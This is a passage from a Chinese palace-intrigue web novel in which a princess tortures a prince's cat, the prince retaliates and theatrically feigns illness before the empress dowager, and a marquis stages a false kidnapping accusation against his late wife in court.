朝华大长公主见他这样听劝,露出了满意的笑,命人将他们母子送出了宫。
她还要留下再陪太后说会儿话。
裴明镜一走,福安郡主就变了脸色。
“那只畜生呢,抓来,我要亲自打死。”
她脸上浮现出癫狂的笑。
“若是它的主子找来了……”汀兰想到福安郡主的癖好,有些不安。
先前裴大人可提醒过了,这猫是有主的,不是野猫。
郡主外表看着柔柔弱弱,但她自小却痴迷于了结那些弱小生物的性命。
一开始是公主府里养的温顺雀鸟,后来是买回来逗她玩的雪白的兔子,无一例外,都被她杀了。
有掐死的,有用刀捅死的,还有活活按到水里溺死的。
这些活生生的小东西死之后,她还会将尸体摆好,亲手分尸剔骨。
之前有丫鬟不小心撞见,被郡主的癖好吓得胡言乱语,大长公主直接将其命人杖毙。
她才被拉来顶替照顾福安郡主。
汀兰心里紧张不已,这可不是在公主府,若是直接将猫打死,郡主又要分尸,到时候被发现了怎么办。
“你是在质疑本郡主的话?”福安郡主轻飘飘地看了汀兰一眼。
汀兰忙低下头:“奴婢不敢。”
这时,妙檀来到了长乐宫,着急地询问他们有没有看见一只通体雪白,蓝眼睛的猫儿。
汀兰一惊,猛地看向福安郡主,压低声音道:“郡主,那是皇后娘娘身边的大宫女妙檀。”
福安郡主盯着关在笼子里的猫儿,冷笑:“原来是皇后娘娘的猫啊。”
听到这话,汀兰以为她会将猫放走,正要开口,就听见郡主不以为意道:“太后待我这般好,皇后气了她那么多年,我杀了她的猫给太后出出气,太后肯定会夸奖我的。”
汀兰不可置信地瞪圆了眼睛看向她。
福安郡主脸上的笑意更浓。
“汀兰,你知道该怎么说的吧?”
汀兰不敢违背她的命令,硬着头皮答道:“奴婢知道。”
而后,她快步走到妙檀跟前,撒谎道:“这位姐姐,先前有一只白猫冲到了长乐宫里,惊着咱们福安郡主后又翻越宫墙往那边去了。”
她随手指了个方向。
“什么?又跑走了?”妙檀一惊,“多谢姐姐提醒。”
说完她便急匆匆地往汀兰指的方向追了过去。
汀兰见她离开,紧张地咬住了唇,在心里暗暗祈祷,她不要再回来。
没想到,事与愿违,不过一盏茶的功夫。
妙檀就回来了。
不仅她来了,永安王还领着另一个小姑娘来了。
“参见王爷。”汀兰猛地跪下。
“我的猫呢?”谢翊宁冷冷开口。
“是您的猫?”汀兰一脸错愕,眼里的震惊几乎都要溢出来了。
她脑海里只浮现了三个大字:完蛋了。
“你先前跟我说雪团儿不在长乐宫,往东边跑了。可王爷和晏大小姐正从东边来,根本没看到雪团儿啊。”妙檀愤怒地看着她。
这丫鬟,竟敢骗她。
“我,我……”汀兰没想到竟然是永安王的猫。
这位是真的惹不起啊。
就算搬出太后来,也压不住他。
见她神色慌乱,谢翊宁哪里还看不出来她先前是在撒谎。
“雪团儿是本王的猫。若它出了什么事,你就等着陪葬吧。”谢翊宁一句话让汀兰彻底腿软。
她说不出一句话来。
长乐宫的宫女一看不对劲,赶忙跑进殿内,将此事告知太后。
谢翊宁一脚踹翻了汀兰,冷笑一声:“知道上一个欺骗本王的人是什么下场吗?他的舌头已经被拔了喂狗。我看你的舌头也不用要了。”
汀兰被他这一句话吓得瑟瑟发抖,大冬天的额头直冒冷汗,她“哇”一声哭了出来。
“猫在郡主那。”
谢翊宁扫了旁边的宫女一眼,宫女立刻带路,将他往福安郡主在的地方引去。
*
偏殿里。
福安郡主手里拿着匕首,半蹲着身子盯着被关在笼子里却还冲她呲牙的猫,语气十分温柔。
“你不乖哦。”
“再闹下去,姐姐真的要生气咯。”
说完她猝不及防,一刀捅向了笼子里雪团儿。
雪团儿炸毛发出了凄厉的惨叫,闪躲不开,却也狠狠地挠了她一爪子。
“嘶。”
福安郡主手上多了几道深浅不一的血痕。
她半眯着眼眸,没想到这小畜生竟然这么顽强。
先被她关在笼子里扔到水缸里泡了一盏茶的功夫都没淹死,如今还敢挠她。
真是学不乖。
真是该死。
“你这毛真不错,要不扒了,做条围脖吧。”福安郡主喃喃自语,“可惜了,刚刚扎破了个洞,不漂亮了。”
“砰”一声响。
大门被踹开。
福安郡主吓了一跳,她扭头一看,就听到了一句让她毛骨悚然的话。
“你信不信本王剃了你的头发拉着你满京城巡街。”
谢翊宁眸色阴沉,看到浑身湿漉漉还渗血的雪团儿,眼神变得愈发凌厉。
福安郡主瞧见他,脸色顿时变了。
“七、七表哥……”她“哐当”一下将手里沾血的匕首扔了出去。
“表哥,你听我解释。”
谢翊宁选择不听,直接捡起匕首往她胳膊上就捅了一刀。
在场的人全都惊得说不出话来。
晏逐星也没想到他会这么生猛。
那可是朝华大长公主的掌上明珠啊,他,他竟然就这样捅了???
不过该说不说,她看着是真的太痛快了。
先前在门外听到福安郡主那话,她都忍不住想冲进来揍她了。
那是人能说出来的话吗。
她快步上前拎起笼子,检查雪团儿是否还有救。
雪团儿虚弱地躺在笼子里,一言不发。
晏逐星顿时急了:“王爷,是不是要请太医啊?”
她心下一阵慌乱,这么可爱的猫儿现在变得奄奄一息,看着她心里难受不已。
也不知道太医能不能治猫。
“去找季太医!”谢翊宁上前一步,接过猫就要走。
这时,太后和朝华大长公主匆匆赶来。
看到胳膊上流血的福安郡主,两人惊得差点没晕过去。
“怎么回事?”
看到有人来撑腰,福安郡主立刻哭了。
“我不小心弄伤了七表哥的猫儿,他就给了我一刀,母亲,外祖母,我好疼啊。”
听到这话,两人勃然大怒。
“永安,你怎么回事,福安可是你的表妹。为了一只畜生,竟然伤她至此?”太后气得身子发颤。
她最不想见到的就是这个混小子。
因为他,她和皇帝本就稀薄的母子感情现在所剩无几。
如今,他竟然闯入她的宫殿,伤了她最疼爱的外孙女,她忍无可忍!
“一刀可不够。若待会雪团儿没救回来,十刀八刀都消不了我的心头之气。”谢翊宁的话差点没把两人给气死。
“愣着干嘛,让开啊,你们是不是想让她给雪团儿偿命?”
他二话不说,拎着笼子,直接从两人中间撞了过去。
太后一个踉跄,差点没摔倒,她捂着胸口大喊:“你是不是要气死哀家?哀家要告你一个不敬不孝的大罪。”
谢翊宁将笼子交给了妙檀:“速去找季太医。”
又看向跟来的司音。
“去请父皇母后来。”
紧接着,他做出了一个让所有人都意想不到的动作。
第126章 永安王威胁
他直接就往地上一躺,捂着心口上气不接下气地喘了起来。
“皇祖母,我胸口疼,喘不上气,雪团儿是父皇特意从西戎给我寻来的。整个大虞就这么一只。我精心喂养了三年。”
“整整三年啊!她吃饭洗脸梳毛,都是我亲手照顾的。朝华姑母怕是都没有亲手照顾福安那么久吧?”
忽然被提到的朝华长公主:……
她还真没亲手照顾过女儿那么久。
她有的是乳母和丫鬟,那用得着她亲自照顾。
谢翊宁继续嚷嚷:“若雪团儿死了,我也不活了。”
“反正我也没两年可活了。”
“提前死了皇祖母也不会在乎的,您早就巴不得我死了。”
在场的人齐刷刷沉默了。
太后更是目瞪口呆。
这混小子小时候不要脸也就罢了,怎么长大了非但没有收敛,反而更不要脸了?
他这脸皮,怕是比城墙还厚吧?
“你少胡说八道,哀家什么时候就巴不得你死了?”太后气得浑身哆嗦。
朝华大长公主咬紧了后槽牙,看向太后:“母后,还是先给福安请太医吧,别到时候福安的手保不住了。”
“对对对,快给郡主请太医。”太后也是被谢翊宁这一通乱来给整无语了,差点把心肝宝贝外孙女给忘了。
晏逐星已经彻底看傻眼了。
她虽然从旁人那里知道了谢翊宁过往与太后的那些“英勇战绩”,但亲眼所见她还是大受震撼。
堂堂一个王爷,竟然真的能对旁人异样的目光视若无睹,毫不犹豫地就往地上躺。
这实在是超出了她的认知范围。
永安王当真是能屈能伸。
她要学的还有很多啊!
*
“皇上,皇后娘娘,不好了。永安王在长乐宫刺伤了福安郡主,太后说要被气死,王爷让奴婢回来请你们过去替他做主啊。”司音着急忙慌地赶回未央宫搬外援。
“什么?”听到这话,文昭帝和崔皇后同时露出了惊讶的表情。
“可是福安郡主做了什么?不然石头怎会伤她?”崔皇后脱口而出。
文昭帝也赞同地点点头。
石头这孩子虽然被他们骄纵着,但却从不乱伤无辜。
“她伤了雪团儿。”司音快速把事情经过说了一遍。
“什么?”崔皇后这下更震惊了。
外表看着乖巧柔弱的福安郡主,竟然做出了这样恶毒可怕的事情。
“快快快,皇上,咱们得快点去长乐宫,不然可就麻烦了。”崔皇后着急地催促起站在原地不动的皇上。
“皇后莫要担心,石头不会让自己吃亏的。”文昭帝安慰起了她。
崔皇后委婉暗示:“咱们等得,太后能等吗?您能等吗?”
文昭帝这才明白她的弦外之音是什么。
他的宝贝儿子不会吃亏,但太后怕是经不起他气。
毕竟小儿子气人花样百出,要是太后真被气出个三长两短,他这个皇帝可就要被文官上折子弹劾,被他们的唾沫星子淹死了。
文昭帝赶忙加快了步伐。
二人一进到长乐宫,就看到谢翊宁躺在地上耍无赖的模样。
文昭帝:……
崔皇后:……
这么多年了,这孩子怎么还是只会地上躺躺这一招?
崔皇后担忧地看了一眼一旁站着的晏逐星。
这下她是真的确定儿子对这位晏大姑娘没有男女之情了,谁会在心爱的姑娘面前做出这样不得体的姿态。
崔皇后痛苦地抬手扶额。
她仿佛看到儿媳妇离她越来越远了。
这辈子,她真的能看到石头娶妻生子吗?
“皇上,皇后,你们可算来了。这就是你们教出来的好儿子,忤逆哀家,伤害一个小姑娘,凶残至此,成何体统!”看到帝后二人,太后便控制不住地斥责了起来。
“福安郡主一个小姑娘,竟然想出那么恶毒的法子。先把猫放到水缸里淹死,淹不死就拿刀去捅死,我比得上她凶残吗?您怎么不问问朝华姑母怎么教出来她这么一个好女儿?”地上躺着的谢翊宁利落地反驳。
太后气得怒瞪他。
太后一瞪他,他就哎哟哟地叫唤了起来。
“皇祖母您别在心里咒我死了,我害怕。我难受,父皇母后,快请太医,我怕是要死在长乐宫了。”
太后:……
她还真拿这不在乎名声的混账东西没办法。
言官不是没有试过上折子弹劾他,但皇帝就一句话:他都活不过二十岁了,你和他计较那么多做什么。
然后就是象征性地罚罚谢翊宁的俸禄。
他的俸禄都被扣到四十年后了。
这混小子哪里活得到四十年?
就这样,皇帝和皇后犹嫌不足,罚完之后又以各种名目给他送银子送好东西。
简直就是赤裸裸地偏袒。
言官们也拿谢翊宁没辙了。
你弹劾了,当事人不在乎,皇上虽然罚得很敷衍,但也是罚了。
挑不出错来啊。
而且皇上每次当朝训斥永安王,永安王每一回当着他们的面都表现得特别好,认错态度特别诚恳。
诚恳得他们都相信了,结果他下次还敢。
太后越想越气。
“他今日敢拿刀伤福安一个小姑娘,谁知道明日会不会拿刀来伤哀家。皇上,皇后,此事你们必须给哀家,给朝华,给福安一个交代!”
她这一次是真的动怒了。
文昭帝正欲开口,可惜他的儿子不给他机会。
谢翊宁利落地学着她的话反驳:“福安今日敢拿刀伤一只猫,焉知明日会不会拿刀伤害您?皇祖母,此事您必须严惩啊。”
太后怒气冲冲地反驳:“哀家乃是福安的外祖母,她怎么会伤害哀家。”
“您也是孙儿的皇祖母啊,孙儿又怎会伤害您呢?”谢翊宁眨巴着眼看着她。
“还是说因为我父皇不是您亲生的,您就觉得我不是您的亲孙儿,对我早有不满,借此发难,让父皇为难?”
“你胡说八道!!!”太后再一次败下阵来。
“好了,地上凉,待会冻坏了,赶紧起来吧。你皇祖母绝对不是那个意思。”文昭帝亲自伸手将儿子从地上拉了起来。
“你就知道关心他会不会冻坏,怎么不关心关心哀家这个母后会不会被他气死?”太后说不过谢翊宁,只能将怒火撒到文昭帝身上。
“母后,您还好吗?”文昭帝一脸孝顺地询问,“您放心。若他将您气死了,朕定然不会饶过他,朕会让他去给你守皇陵,日日在您面前罚跪。”
晏逐星听到这话,咬着嘴唇憋笑憋得很辛苦。
她总算知道谢翊宁那混不吝的模样跟谁学的了。
原来是“家学渊源”。
太后:……
皇帝这关心的话还不如不说,这和咒她去死有什么区别。
“母后,福安今日是与卫国公之子裴明镜在相看吧,若她恶意伤猫一事传出去……”文昭帝意味深长地看着太后。
太后脸色白了一分。
这话若是传出去,福安的名声可就毁了。
别说嫁给裴明镜,恐怕京中的少年郎都不敢娶她了。
“什么恶意伤猫,没有的事。福安年纪尚小,贪玩罢了,猫儿没轻没重伤了她,她才反击的。”太后梗着脖子反驳。
“嗯,正是如此。她反击之时手抖了,伤了自己的胳膊,您说对吧?”文昭帝笑容和煦,笑意中却透着不容置疑的威压。
太后知道他在以此威胁自己,不能找谢翊宁的麻烦,不然他就要让福安的名声毁了。
“皇上,你,你……”太后这下是真的被气着了。
文昭帝赶紧上前给她拍背,做足了孝子的模样。
“快请太医,若太后有什么事,朕决不轻饶!”
刚给隔壁福安郡主看完胳膊的许太医又被扯过来给太后把脉。
朝华大长公主也跟着过来。
看到站在皇后身边的谢翊宁,她眼里都是怒火,恨不得立刻就把他给宰了。
谢翊宁还冲她挑眉一笑,气得她牙齿都要咬碎了。
许太医看着跪了一地的宫女,又看了一眼面无表情的皇上,最后胆战心惊地说出了结论:“太后娘娘只是气急……”
“嗯?”文昭帝轻轻哼了一声。
许太医麻溜地将“气急攻心”四个字咽了回去,改口道:“太后娘娘只是气息不畅,冬日里不能总关着宫门和窗户,偶尔也得透透气,不然凤体违和,就会支撑不住,人变得晕晕沉沉的。”
“嗯,听到了吗?”文昭帝满意地点了点头,扫了地上的宫女们一眼。
“日后要多搀扶太后出来走走,多开窗透透气。”
太后咬牙切齿,大冷天的开窗透气,皇上是想冻死她吧。
“母后,走吧,朕扶你回宫休息吧。”文昭帝强行搀扶着太后离开。
朝华大长公主拦住了他。
“皇上,这事就这么算了吗?我知道你偏疼永安,但也不能这般纵着他,若日后他杀人放火,你也要替他隐瞒吗?”
“母后,您说呢?”文昭帝没有理会自己的这位姐姐,而是扭头看向了太后。
太后一把抓住了朝华大长公主的手,冲她摇头。
“此事就此作罢,不要节外生枝。”
朝华大长公主向来听太后的话,见她都这么说了,只得咬牙咽下了这口气。
可偏偏身后传来了谢翊宁不满的声音。
“谁说此事就此作罢了?”
第127章 王爷不要脸
“你还想怎样?”朝华大长公主凌厉的目光飞来。
谢翊宁不疾不徐地开口:“要看雪团儿能不能活下来,能活下来,就没事。若是活不下来……”
“活不下来又如何,一个畜生,你还能要福安给它偿命不成?”朝华大长公主气得胸口连连起伏。
她看向文昭帝,眼里带着哀痛与愤怒。
“皇上,福安可是要叫你一声舅舅的啊。”
文昭帝皱紧了眉头,为了一只猫自然不可能要福安偿命,但总得受些教训。
他相信石头有分寸。
因而他轻声道:“朕自然不会福安殒命。”
说完他瞥了儿子一眼,警告他不许再搞事情。
谢翊宁轻笑一声:“姑母想哪里去了,我不过是想替雪团儿讨些医药费罢了。若她不幸死了,我也只会去公主府讨些丧葬费罢了。”
说完他便捂着心口,假装身子不适。
“许太医,你来给本王瞧瞧,本王难受得很。”
被点名的许太医欲哭无泪。
今日怎么就那么倒霉轮到他值班了呢。
早知道他刚刚就抢了季太医的活去治永安王的猫呢,来长乐宫这一趟,他简直减寿十年。
“王爷……”许太医看着皇后和永安王的表情,斟酌着词汇,最后决定装瞎到底。
“王爷经脉混乱,气急攻心,身子不适,待会怕是不能走出宫门了,还是请人抬了软舆来,将王爷送回王府吧。”
朝华大长公主听到这话气得扭头就走,她受不了谢翊宁这个不要脸的了。
崔皇后和谢翊宁同时给了许太医一个赞赏的眼神。
“辛苦许太医了。”崔皇后笑着让宫女往许太医手里塞了一个沉甸甸的荷包。
“都是微臣的分内之事,多谢皇后娘娘赏。”许太医拿着赏银飞快溜走了。
待皇上和太后也走了之后,崔皇后伸出手点了点儿子的脑门。
“你可真能折腾啊。入宫一次,整个后宫都被你弄得鸡飞狗跳的。明日还不知道宫里那些妃嫔会怎么在背后里说你。”
“那他们可得给儿臣银子。儿臣若不闹这么一出,她们在后宫多无聊啊,都没有新鲜事可聊。”谢翊宁无所谓地耸了耸肩。
“还惦记着银子呢,你今日闹这一出,明日被弹劾,你的俸禄就要扣到五十年后了。”崔皇后无奈地盯着儿子。
她眼角余光瞥见一旁的晏逐星在憋笑,一颗心悬了起来。
完了,傻儿子真要娶不着媳妇了。
“星儿啊,这孩子平时不这样的,他、他这是太担心雪团儿,气昏头了。”崔皇后不得不替儿子找补几句。
谢翊宁这才反应过来,先前晏逐星也在!!!
他的脸瞬间变得滚烫,一抹绯红从脖颈处蔓延至耳后。
瞧见他发红的脸,崔皇后松了一口气。
还知道害臊,有救。
“我……”谢翊宁一时间不知道该怎么解释刚刚自己不着调的行为。
“王爷是性情中人,星儿十分佩服。”晏逐星笑着替他解了围。
“而且王爷这一招,还真让我学到了不少东西,日后遇上麻烦,我也知道该怎么解决了。”
谢翊宁和崔皇后大惊失色。
这可不兴学啊。
小姑娘家家的躺在地上撒泼,那多不好看呀。
看着他们变了的脸色,晏逐星忍不住“扑哧”笑出了声。
他们肯定是误会了她的意思。
晏逐星笑眯眯道:“我只是觉得王爷口齿伶俐,句句都能说到重点上让人无话可说。实在是太厉害了。”
“那倒是。这小子自小嘴皮子就利索,三岁的时候就能将本宫与皇上说得哑口无言……”崔皇后赞同地点点头。
“咳咳,母后,雪团儿如何了?”谢翊宁打断了皇后,生怕她将自己小时候的丑事都抖落出来。
“放心吧,妙檀先前回来了,说季太医已经替雪团儿止住了血,救回来了。只是受了重伤,得好好养一段时间。这些时日不宜搬动,就让她在太医院里养着吧。”崔皇后温柔回应。
“你放心,母后日日都会让妙檀去太医院照顾她的。”
“嗯,儿臣自然相信母后。那儿臣就先行告退了。”谢翊宁正欲离开。
崔皇后又拦住了他。
“等会儿。”
“怎么了?”谢翊宁不解。
“司音,命人将软舆抬来,送王爷出宫。”崔皇后一本正经地吩咐了下去。
谢翊宁和晏逐星这才想起先前许太医说的话,齐刷刷冲皇后露出了崇拜的眼神。
还得是皇后娘娘!
于是,谢翊宁就躺在软舆上,让人将他抬回了永安王府。
甚至还特意绕了远路,让京中百姓都瞧见了。
有胆子大的人悄摸打探永安王怎么了,是不是要不行了。
前来接人的停云就会露出一抹伤心的表情。
“不是,只是今日在长乐宫受了些惊吓。”
别的话愣是多一句都没说,任凭大家猜测脑补。
一时间,“太后训斥永安王,导致其命不久矣”的流言就这样传开了。
朝华大长公主得知这个消息,气得去找太后告状,没想到太后得知这个消息,竟然给气病了。
朝华大长公主有苦说不出。
*
晏逐星回到定远侯府后,定远侯第一时间就将她叫到了书房,询问她皇上寻她何事。
晏逐星只说是定慈观的事情,丝毫不提长乐宫里发生的事情。
定远侯出门得知了那个流言,又特意来问了她一回,但晏逐星守口如瓶,只说自己不知道。
“也是。你只是被皇上叫去了,哪里能知道太后和永安王的事情。”定远侯有些烦躁。
如今他不宜出门,不能参加宴会,许多消息都打探不到。
但他眼珠子一转,又把主意打到了晏逐星身上。
“我记得永安王似乎与你有几分交情,他如今病了,不如你登门送些药材,探望一二?”
“父亲,如今我乃戴孝之身,不宜出府做客。别说永安王府,烈国公府那边的认亲宴都要推迟了。”晏逐星提醒。
昨日入宫是皇上特意召见,不然她还是得待在家中的。
听到这话,定远侯又一次皱起了眉头。
他怎么把这事给忘了。
这样的话,星儿不仅不能去永安王府,连烈国公府都不能去了。
到时候谁帮他打听骆文缨的婚事啊。
不行不行,这可不行。
晏逐星观察着定远侯的表情,见他似乎有所松动,顿时松了一口气。
马上就是元宵节了,她还想出门瞧瞧京城花灯节的盛会呢。
若定远侯能在这之前定死温如霜的罪名,那温如霜就不是她的养母,而是害她与亲生父母分离的罪人。
到时候她自然而然就不用替温如霜守孝,能光明正大出门游玩了。
见他把她的话听进去了,晏逐星决定再添一把火:“温家大舅舅过两日就要到京城了,若他抵达,恐怕侯府又要被折腾得鸡飞狗跳了。”
晏逐星叹了一口气,继续道:
“如今母亲和两位兄长还有二妹妹都不在了,咱们与温家最后的羁绊都没了,也不知道温家舅舅会不会记恨我。”
听到她这话,定远侯猛地反应了过来。
如今他们与温家已经可以说是毫无干系。
之前让温如霜自缢,没有把她拐带孩子的事情闹出去,就是为了明远着想。
如今明远死了,温如璋定然恨透了他,别说帮扶,不趁机报复侯府就不错了。
定远侯越想越觉得温家这门亲得趁早断了。
在温如璋没入京之前,让温如霜名声彻底臭了,到时候温家都得和她撇清关系。
他正好也可以趁机娶新妇,星儿也不必为那个毒妇守孝,可以去往烈国公府走动了。
定远侯将晏逐星打发回了玉澜院,快马加鞭让关万海夫妇入京。
“怎么又改主意,让咱们去告先夫人了?”
关万海夫妇百思不得其解。
但他们没有选择的机会。
定远侯在京城的贵族里虽然不算显赫有权,但捏死他们两个经商的小老百姓,还是易如反掌的。
大年初六,京兆府升起了第一堂案件。
关家夫妇状告定远侯夫人温氏拐带亲女。
一石激起千层浪,这个案子很快引起了众人的热议。
京城的百姓们忍不住感慨:这个年过得可真是热闹啊。
一会儿是太后差点弄死永安王,一会儿又是定远侯夫人拐带人家女儿,啧啧啧,这些大人物们节目可真多啊。
“关万海,杨氏,你们状告定远侯夫人温如霜拐带你们的女儿,可有证据?”裴明镜紧紧盯着二人,眼神凌厉。
第128章 王爷送礼物
关万海和杨氏冷汗淋漓。
他们哪有什么证据,证据全是定远侯给的。
关万海顶着巨大的压力开口:“启禀大人,草民自然有证据。”
他将定远侯早就安排好的人证请了出来。
是当年跟着温如霜一块回青州的侯府老人刘氏。
刘氏哆哆嗦嗦地开口:
“当初明月小姐走丢,夫人害怕被老侯爷和老夫人责怪,就在街上将无人照看的大小姐抱了回来。回到京城后,夫人要杀我们灭口,我就逃到了庄子上躲起来了。”
“如今我听闻大小姐的生父母找上门来,心里不安得紧,害怕他们也被灭口。所以就偷偷找到了他们。”
刘氏按照定远侯教的话说了出来。
她一直低着头,不敢看裴明镜。
这些话里半真半假,想杀她灭口是真,逃走是假,不安是真,主动找关万海夫妇是假。
当初侯爷不让夫人乱杀人,毕竟随行的丫鬟仆妇实在太多。
他们都被安排到了庄子上看管着,一直被人看管着不能离开。
她都以为侯爷和夫人要忘记他们了,直到昨日,侯爷派人找到了她。
定远侯和晏逐星也被叫来和他们当面对峙。
晏逐星实话实说,称自己当时昏昏沉沉,像是被喂了药,如今什么都不记得了。
定远侯则当场演了一出震惊不已的戏码。
“怪不得关家夫妇找上门来第二日,她就服毒身亡,原来是畏罪自尽!”
“这个毒妇,怎能做出这样伤天害理的事情。几个孩儿落得如今下场,定是报应啊,报应!!!”
他捂脸痛哭,当堂认下了温如霜的罪证。
围观的百姓听到这话,下意识地就想起了定远侯府最近接二连三死人的事情,忍不住点了点头。
这看起来还真像是报应啊。
温如珲急急赶来,听到这话厉声否认:“不可能!如霜不是这样的人。当初她把孩子带回家,我们都知道这孩子是走丢的!”
“这是她当初写的遗书,请大人过目。”定远侯将温如霜亲笔写下的遗书交了上去。
“当时我还在想,明修和明月出事,怎能怪到她头上。如今细细想来,那些都是借口,她真正的罪名是偷了别人的孩子。”
定远侯露出一副恍然大悟的表情。
裴明镜将温如霜平日里的书信找来对照,确认那确实是温如霜所写。
“就算是如霜亲笔写的又如何,谁知道是不是你逼着她写的!”温如珲怒吼。
他没有官位在身,说话都不如定远侯硬气。
他急得直跺脚,大哥怎么还不到。
“温如珲,我知道你与温氏感情甚笃,但她做出了这样令家族蒙羞的事情,你难道不该与她划清界限吗?难不成你要让天下人以为,你们温家都是拐卖孩子的人牙子吗?”定远侯露出一副痛心疾首的表情。
“你少胡说八道了!”温如珲听到这话,眼睛都气红了,挥着拳头就要去揍定远侯。
两旁的衙役赶忙拦住他。
见温如珲被制住,定远侯戏瘾大发,演得愈发投入,自己都要信了。
他抹着眼泪哽咽道:“枉我自诩耳清目明,结果枕边人是这样的毒妇我都没有发现,我惭愧啊。”
说完他又看向了晏逐星,一脸惭愧:“是侯府对不住你。温氏当初与我说你是无家可归的孩子,我便信了。是我识人不清。”
没等晏逐星回应,他又看向了关万海夫妇。
“本侯知道你们这些年找孩子不容易,我会尽力补偿你们。给你们一千两银子,你们可愿接受本侯的歉意?”
关万海夫妇还没说话,围观的百姓倒先吸了一口凉气。
拥有一千两,对于他们普通人家来说,可以说是一辈子不愁吃穿了。
“这银子,我们不要。我们只要我们的女儿!”关万海夫妇可不敢拿这烫手的银子。
他们今日敢收下,明日定远侯就能找机会从他们身上翻倍要回去。
“星儿,虽然你是被温氏拐带回家的,但我养育了你十几年,早就将你当做亲生女儿一样看待了。你若愿意原谅我们,你今后还是可以继续留在侯府的。”定远侯又一次看向晏逐星。
“不了,待在侯府,只会让我想起夫人将我从母亲身边带走的痛苦。”晏逐星看着定远侯这虚伪的表情,差点演不下去。
她捂着脸,低声啜泣了起来。
“我不想留在侯府了,您让我离开吧。”
这个时候搬出定远侯府,影响不大。
反正该死的人也死得差不多了。
侯府里还有阮寄薇给她当内应,到时候等孩子“出生”,定远侯也差不多就可以去死了。
“你这孩子说的什么话。哪怕你离开了侯府,你也永远是我定远侯的女儿,是定远侯府名正言顺的大小姐。”定远侯激动地嚷嚷了起来。
“砰”
堂上的裴明镜敲了一下惊堂木,打断了定远侯的“煽情”发言。
“如今证据并未确凿,侯爷无需这般心急。”裴明镜的声音让定远侯冷静了不少。
温如珲一听这话就激动了起来。
“没错,证据没有确凿,凭什么说如霜是拐子?!”
裴明镜也没有搭理他,而是指着遗书上那段【明月吾女,下落不明,生死难测。每每思及,心如刀绞,夜不能寐。】
他紧紧盯着定远侯道:“不是说二小姐身亡了么?为何夫人却说是下落不明。”
定远侯一僵。
这封遗书当初是专门写给温家人看的,自然不能真的把晏明月写死了。
他脑子一转叹了一口气,抹起了眼泪:“大人能不能借一步说话。此事实是有难言之隐。”
“公堂之上,直言便是。”裴明镜不为所动。
“当时小女去往青州,听闻附近有神医,私底下想替母求医。不曾想却再也没有回来……”定远侯说着说着哽咽了。
“她一个弱女子孤身在外,失踪后下落不明,十之八九是没命了啊。为了她的名声,我们只得当她死了。”
说完还看了温如珲一眼:“小舅兄,你说是吧。”
事情还牵扯了温韫,不宜说实话,温如珲只得捏着鼻子将这个说法认下。
裴明镜又问了几个问题找不出什么答案。
于是再次敲响惊堂木,宣布了结果。
“本案虽然有人证,但仅凭口供难以定案,如今并无物证佐证,不便立即裁决。本官已将此案记录在案,会派专人仔细调查取证。一旦查获确凿证据,会重新审理此案。”
裴明镜总觉得定远侯认下夫人的罪名太快。
通常情况下,这种勋贵之家最怕家丑外扬,应该捂住此事才对。
可他却偏偏将罪责往过世了的夫人身上揽。
另外,关家夫妇的姿态也很耐人寻味。
而且,这个刘氏出现的时间也太过蹊跷。
此案疑点重重,自然不能当堂结案。
定远侯还想说什么,裴明镜就宣布退堂了。
他只得作罢。
“晏鸿升,你给我等着。我大哥最迟明日就到京城了。”温如珲放下狠话,气得拂袖离去。
定远侯心里有些慌,但事情已经做到这个份上,就是和温家彻底翻脸,如今也没有回头箭了。
他必须让“拐带孩子”的罪名死死定在温如霜身上。
“星儿,你与父亲一同回府吧。”定远侯温和地看向晏逐星。
而晏逐星摇了摇头。
她既然当堂说了不回侯府,自然就不会再回去。
更何况,她在外边呆着,外人就会更加坚信她是被温如霜拐带的,所以才会放着好端端的侯府大小姐不做,去当商户之女。
“侯爷,我不回侯府了。我打算先去见见我的爹娘,晚些时候派人去玉澜院收拾我的东西。”
定远侯再劝,她再推辞,来回两趟,定远侯才露出了一副惋惜的表情。
“星儿,我说过很多次了,不管你住不住在侯府,侯府永远都是你的家,随时都欢迎你回来。我也永远是你的父亲。你不要叫我侯爷了,太让我伤心了。”
“是,星儿会永远记得父亲的恩情。您对我,那是极好的。与温如霜不同。”晏逐星诚恳地点了点头。
听到这话,定远侯心里舒坦多了。
他嘱咐了晏逐星几句,而后便先行离开了。
晏逐星离开京兆府,关万海夫妇正在她马车边上等着。
她正准备跟他们说事情,就看到了照夜。
照夜上前一步,给了她一个檀木小盒子。
见晏逐星一脸疑惑,照夜解释:“王爷得知大小姐离开侯府,特意命属下送来此物。”
晏逐星好奇地打开了小盒子,发现里边是一串钥匙和一张地契。
打开一看,竟然是崇文门外大街枣木胡同的一套三进宅院,上边写的是她的名字。
晏逐星愣住了。
永安王未免考虑得太过周全。
她的亲生父母只是商户,若是住了三进以上的宅院属于“僭越”,轻则罚没房产,重则治罪。
而她的户籍还在定远侯府,按理来说这个宅院是落不到她的名下的,但如今永安王却办到了,想必为此花了不少心思。
也不知道明日会不会有言官状告他不守律法,皇上会不会又罚他俸禄?
想到那日谢翊宁在长乐宫耍无赖的场景,晏逐星忍不住笑出了声。
照夜有些摸不着头脑。
晏大小姐收到王爷送的礼物,高兴疯了?
晏逐星将盒子交给了一旁的衔蝉,笑道:“王爷的好意我收下了,多谢。”
报答不报答的话,现在说了也显得苍白无力。
毕竟她只是一个“商户之女”,无权无势,而且永安王什么都不缺。
倒不如等之后天气热起来,她给王府多送些冰去。
待到日后她跟关家合作的流光缎大卖,有了银钱,再将这座宅邸买下来,把钱还给永安王。
听她这么说,照夜放心多了。
他生怕晏大小姐跟他拉拉扯扯,说什么使不得太贵重,这样利落大方地收下,倒是让他松了一口气。
一旁的关万海夫妇只听到了照夜说王爷让他给晏逐星送东西,但具体送的什么,他们看不见,也不敢看。
心里只觉得晏逐星实在厉害,竟然让王爷都对她青睐有加。
关万海心底那点关于“利润要分出去五成”的小小懊悔顿时烟消云散。
“大小姐,我们接下来该做什么?”照夜一走,关万海便凑了上来。
定远侯只让他们来状告温如霜拐带亲生女儿,别的什么都没说啊。
晏逐星略一思索,开口道:“你们先随我安顿下来,住上几日,之后的事情我另有安排。”
她打算这几天让关万海给张小乙培训一下。
卖冰和卖布,虽然不是同一个东西,但本质上都是做生意。
让关万海教教张小乙,想必日后他做起生意来会更得心应手。
“是。”关万海夫妇不敢违背她的命令,乖乖跟着她走了。
远处的裴明镜望着离去的“一家三口”,心里的违和感越来越重。
这一家子,无论是长相上,还是相处的感觉,哪哪都看起来不像一家人。
晏逐星当真是他们走丢十几年的女儿吗?
第129章 在哪里见过
得知晏逐星搬离侯府,阮寄薇心里有些惴惴不安,她悄悄命丫鬟联系上了九栀,询问之后该怎么办。
